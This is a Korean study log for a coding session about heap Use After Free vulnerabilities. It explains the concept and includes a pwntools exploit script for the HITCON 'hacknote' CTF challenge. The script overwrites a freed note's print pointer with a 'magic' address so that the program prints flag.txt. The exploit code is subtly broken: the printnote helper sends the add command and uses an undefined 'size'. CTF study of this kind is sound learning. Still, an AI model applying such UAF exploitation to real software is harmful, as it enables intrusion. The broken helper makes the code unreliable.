5회차 회고록
목표
- 보안 공부 - HITCON 10
결과
지난 모각코 2, 3회차에서 heap을 공부했었다. 이번 회차에서는 heap의 취약점 중 하나인 Use After Free에 대해 공부하고 HITCON문제를 풀어보았다.
UAF(Use After Free)
- 할당할 때 malloc등의 함수를 사용해 할당하고 해제할 때는 free함수를 사용한다.
- 메모리 영역을 free한 후에 재사용할 때 취약점이 발생할 수 있다.
- caching 기능 : free된 heap이 재요청될 때에 같은 사이즈로 요청받을 수 있는데 ehap을 병합하거나 분할하는 시간을 절약하고자 free된 heap을 남겨뒀다가 reuse할 때에 free된 영역을 그대로 사용하게 해주는 방법
- free를 한다고 해서 새당 영역이 초기화 되는 것은 아니므로 해제된 공간을 재사용할 경우 원하지 않는 값을 참조할 수 있다.
HITCON 10
실행 파일 실행
주요 함수 정리
아이디어 정리
할당할때와 해제할때 순서가 다르다.
exploit code 정리
from pwn import *
p = process('./hacknote')
def addnote(size, content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)
def delnote(idx):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))
def printnote(idx):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
magic = 0x08048986
addnote(32, "aaaa")
addnote(32, "bbbb")
addnote(32, "cccc")
delnote(0)
delnote(1)
addnote(8, p32(magic))
printnote(0)
재사용을 요청하면 할당자는 이전에 free된 chunk중 요청이 들어온 크기와 같은 freed chunk를 반환해주는 점을 이용한다. notelist[0]이었던 부분의 print_note_content에 원하는 함수의 주소 즉 flag.txt를 입력해 flag.txt의 내용을 출력하게 하였다.
결과
회고
SetUID로 권한을 변경해 다시 시도해볼 예정이다.